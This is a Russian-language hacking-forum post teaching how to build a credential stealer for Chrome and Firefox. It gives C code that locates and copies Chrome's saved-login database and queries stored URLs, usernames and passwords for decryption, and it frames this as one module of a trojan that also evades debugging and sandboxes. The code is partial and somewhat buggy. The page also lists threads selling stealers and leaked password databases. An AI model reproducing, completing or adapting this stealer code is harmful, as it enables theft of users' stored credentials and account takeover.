Стиллер паролей для Chrome и Firefox

A

Android

Original poster
203B76B2-AA0B-40E7-9FFE-6A9F018EB91F.jpeg

Вы наверное знаете о том, что такое стилеры паролей. Их задача — вытащить из операционной системы важные данные, такие как пароли. В сегодняшней статье я расскажу, как хакеры создают стиллер паролей для браузеров Chrome и Firefox.

Итак, браузеры, в основе которых лежит Google Chrome или Mozilla Firefox, хранят логины и пароли пользователей в зашифрованном виде в базе SQLite. Эта СУБД компактна и распространяется бесплатно по свободной лицензии. Так же, как и рассматриваемые нами браузеры: весь их код открыт и хорошо документирован, что, несомненно, поможет нам в создании стиллера.
В примере модуля стилинга, который я приведу в статье, будет активно использоваться CRT и другие сторонние библиотеки и зависимости, типа sqlite.h. Если вам нужен компактный код без зависимостей, придется его немного переработать, избавившись от некоторых функций и настроив компилятор должным образом.
В примере модуля стилинга, который я приведу в статье, будет активно использоваться CRT и другие сторонние библиотеки и зависимости, типа sqlite.h. Если вам нужен компактный код без зависимостей, придется его немного переработать, избавившись от некоторых функций и настроив компилятор должным образом.
Все современные и более-менее серьезные вирусы и трояны имеют модульную структуру, каждый модуль в которой отвечает за что-то свое: один модуль находит и собирает пароли, второй препятствует отладке и эмуляции, третий определяет факт работы в песочнице или виртуальной машине, четвертый проводит обфускацию вызовов WinAPI, пятый разбирается со встроенным в ОС файрволом. [/box]
Стиллер для Chrome
Начнем с браузера Google Chrome. Для начала давайте получим файл, где хранятся учетные записи и пароли пользователей. В Windows он лежит по такому адресу:
C:\Users\%username%\AppData\Local\Google\Chrome\UserData\Default\Login Data
Чтобы совершать какие-то манипуляции с этим файлом, нужно либо убить все процессы браузера, что будет бросаться в глаза, либо куда-то скопировать файл базы и уже после этого начинать работать с ним.
Давайте напишем функцию, которая получает путь к базе паролей Chrome. В качестве аргумента ей будет передаваться массив символов с результатом ее работы (то есть массив будет содержать путь к файлу паролей Chrome).

#define CHROME_DB_PATH "\\Google\\Chrome\\User Data\\Default\\Login Data"

bool get_browser_path(char * db_loc, int browser_family, const char * location) {

memset(db_loc, 0, MAX_PATH);
if (!SUCCEEDED(SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, db_loc))) {
return 0;
}
if (browser_family = 0) {
lstrcat(db_loc, TEXT(location));
return 1;
}
}
Вызов функции:
char browser_db[MAX_PATH];
get_browser_path(browser_db, 0, CHROME_DB_PATH);

Давайте вкратце поясню, что здесь происходит. Мы сразу пишем эту функцию, подразумевая будущее расширение. Один из ее аргументов — поле browser_family, оно будет сигнализировать о семействе браузеров, базу данных которых мы получаем (то есть браузеры на основе Chrome или Firefox).
Если условие browser_family = 0 выполняется, то получаем базу паролей браузера на основе Chrome, если browser_family = 1 — Firefox. Идентификатор CHROME_DB_PATH указывает на базу паролей Chrome. После этого мы получаем путь к базе при помощи функции SHGetFolderPath, передавая ей в качестве аргумента CSIDL значение CSIDL_LOCAL_APPDATA, которое означает:
1
#define CSIDL_LOCAL_APPDATA 0x001c // <user name>\Local Settings\Applicaiton Data (non roaming)
Функция SHGetFolderPath уже устарела, и в Microsoft рекомендуют использовать вместо нее SHGetKnownFolderPath. Проблема кроется в том, что поддержка этой функции начинается с Windows Vista, поэтому я применил ее более старый аналог для сохранения обратной совместимости. Вот ее прототип:
HRESULT SHGetFolderPath(
HWND hwndOwner,
int nFolder,
HANDLE hToken,
DWORD dwFlags,
LPTSTR pszPath
);
После этого функция lstrcat совмещает результат работы SHGetFolderPath с идентификатором CHROME_DB_PATH.
База паролей получена, теперь приступаем к работе с ней. Как я уже говорил, это база данных SQLite, работать с ней удобно через SQLite API, которые подключаются с заголовочным файлом sqlite3.h. Давайте скопируем файл базы данных, чтобы не занимать его и не мешать работе браузера.
int status = CopyFile(browser_db, TEXT(".\\db_tmp"), FALSE);
if (!status) {
// return 0;
}
Теперь подключаемся к базе командой sqlite3_open_v2. Ее прототип:
int sqlite3_open_v2(
const char *filename, /* Database filename (UTF-8) */
sqlite3 **ppDb, /* OUT: SQLite db handle */
int flags, /* Flags */
const char *zVfs /* Name of VFS module to use */
);
Первый аргумент — наша база данных; информация о подключении возвращается во второй аргумент, дальше идут флаги открытия, а четвертый аргумент определяет интерфейс операционной системы, который должен использовать это подключение к базе данных, в нашем случае он не нужен. Если эта функция отработает корректно, возвращается значение SQLITE_OK, в противном случае возвращается код ошибки.
sqlite3 *sql_browser_db = NULL;
status = sqlite3_open_v2(TEMP_DB_PATH,
&sql_browser_db,
SQLITE_OPEN_READONLY,
NULL);
if(status != SQLITE_OK) {
sqlite3_close(sql_browser_db);
DeleteFile(TEXT(TEMP_DB_PATH));
}
Обратите внимание: при некорректной отработке функции нам все равно необходимо самостоятельно закрыть подключение к базе и удалить ее копию.
Теперь начинаем непосредственно обрабатывать данные в базе. Для этого воспользуемся функцией sqlite3_exec().
status = sqlite3_exec(sql_browser_db,
"SELECT origin_url, username_value, password_value FROM logins",
crack_chrome_db,
sql_browser_db,
&err);
if (status != SQLITE_OK)
return 0;
Эта функция имеет такой прототип:

int sqlite3_exec(
sqlite3*, /* An open database */
const char *sql, /* SQL to be evaluated */
int (*callback)(void*,int,char**,char**), /* Callback function */
void *, /* 1st argument to callback */
char **errmsg /* Error msg written here */
);
Первый аргумент — наша база паролей, второй — это команда SQL, которая вытаскивает URL файла, логин, пароль и имя пользователя, третий аргумент — это функция обратного вызова, которая и будет расшифровывать пароли, четвертый — передается в нашу функцию обратного вызова, ну а пятый аргумент сообщает об ошибке.
 
Название темы
Автор Заголовок Раздел Ответы Дата
L Интересно Java - Стиллер паролей в Minecraft моде Другие ЯП 8
J Стиллер паролей с отправкой по почте. Вирусология 5
R Стиллер куков и паролей c# .NET 3
M Склейка любого exe (РАТНИК, Стиллер) с docx (WORD) Продажа софта 2
K ⚡⚡⚡ Стиллер + Админ Панель |500 РУБ|⚡⚡⚡ Продажа софта 9
S Стиллер всякого на VBS Другие ЯП 1
A Стиллер + Админ Панель (Читай описание) Pro Продажа софта 9
L Стиллер Mystery, многофункциональный и с выдержкой на любые нагрузки Продажа софта 30
M [USB]Стиллер или флешка ВОР) Софт для работы с текстом/Другой софт 40
Emilio_Gaviriya Статья Защита паролей от кейлоггеров Анонимность и приватность 0
balof почт и паролей 895к Раздача (аккаунтов/ключей) 3
F Собираю команду для брута паролей. Бруты/Парсеры/Чекеры 0
P Качественный подбор паролей (vk.comOk.ru,WhatsApp.Viber) от [email protected] Взлом сайта, взлом форума - на заказ! Хотите узнать с кем обща Корзина 0
Anorali Интересно Написание стиллера паролей от wifi WiFi/Wardriving/Bluejacking 24
ㅤ ㅤㅤㅤ Взломщик андроид паролей. Продажа софта 2
E Интересно Ненадёжность хранения паролей TeamViewer Уязвимости и взлом 0
Little_Prince Пак паролей для расшифровки дампов Другое 6
B AZORult стиллер + HVNC Bot, stealer - Мощный стиллер паролей, CC и криптовалют Корзина 2
M NordPass - менеджер паролей от NordVPN Полезные статьи 0
V 13 миллиардов почт и паролей пользователей Полезные статьи 11
M База логинов и паролей Online Уязвимости и взлом 4
Ж Генератор паролей C++ С/C++ 0
K [Pluralsight] Хакинг веб-приложений: взлом функционала по восстановлению паролей Другое 0
T [Асгард — С первых рук] Самодельный апаратный менеджер паролей Полезные статьи 0
1 Wi-Fi точка для перехвата паролей Kali Linux 4
R 16,5 гб паролей для взлома wifi Kali Linux 2
K Сборник программ для взлома паролей различных зашифрованных файлов запароленных архивов Другое 1
K [Pluralsight] Хакинг веб-приложений: взлом функционала по восстановлению паролей Другое 0
G Seth - MITM атака, перехват RDP паролей. Kali Linux 0
K Инструкция по Ettercap: атака человек-посередине (MitM), перехват паролей, обход HSTS, подмена данных на лету ЧАСТЬ 2 Уязвимости и взлом 0
K Инструкция по Ettercap: атака человек-посередине (MitM), перехват паролей, обход HSTS, подмена данных на лету ЧАСТЬ 1 Уязвимости и взлом 1
G Слив более 2 миллионов логинов и паролей от E-mail Раздача email 10
H Огромная база паролей от аккаунтов социальных сетей. Полезные статьи 3
K Использование Burp Suite в сценариях человек-посередине (MitM): сбор информации, перехват паролей, заражение бэкдорами Уязвимости и взлом 0
K Извлечение всех паролей (веб-браузеры, почтовые программы и пр.) в Windows и Linux Уязвимости и взлом 3
K Взлом паролей MS Office, PDF, 7-Zip, RAR, TrueCrypt, Bitcoin/Litecoin wallet.dat, htpasswd в oclHashcat Уязвимости и взлом 0
G Дешифровщик FTP паролей. Софт для работы с текстом/Другой софт 0
G ☠️1,4 млрд логинов и паролей Другое 0
S Перехват куки и паролей СИ/Фишинг/Мошенничество 0
S Кража паролей: как наши учетки уводят через npm-пакет Уязвимости и взлом 0
S Опубликована база данных, включающая 320 млн уникальных хешей паролей Новости в сети 0
I Программы для создания словарей паролей Уязвимости и взлом 0
I Делаем из старенького ноутбука мега скоростной взломщик паролей Полезные статьи 36
A Простенький генератор паролей C# С/C++ 1
T Сайты с онлайн подбором паролей к WI-FI WiFi/Wardriving/Bluejacking 3
T Программа для перебора паролей на CPU + GPU под windows (Elcomsoft Wireless Security Auditor) WiFi/Wardriving/Bluejacking 4
D Список паролей для Брута (БОЛЬШОЙ) Другое 16
K Скиньте плиз пару словарей паролей Вопросы и интересы 1
Support81 ЦБ РФ и Росфинмониторинг тестируют платформу для контроля криптовалютных операций Новости в сети 0
Support81 Майнинг и вымогательство: OpenMetadata стала площадкой для инвестиций в недвижимость Китая Новости в сети 0

Название темы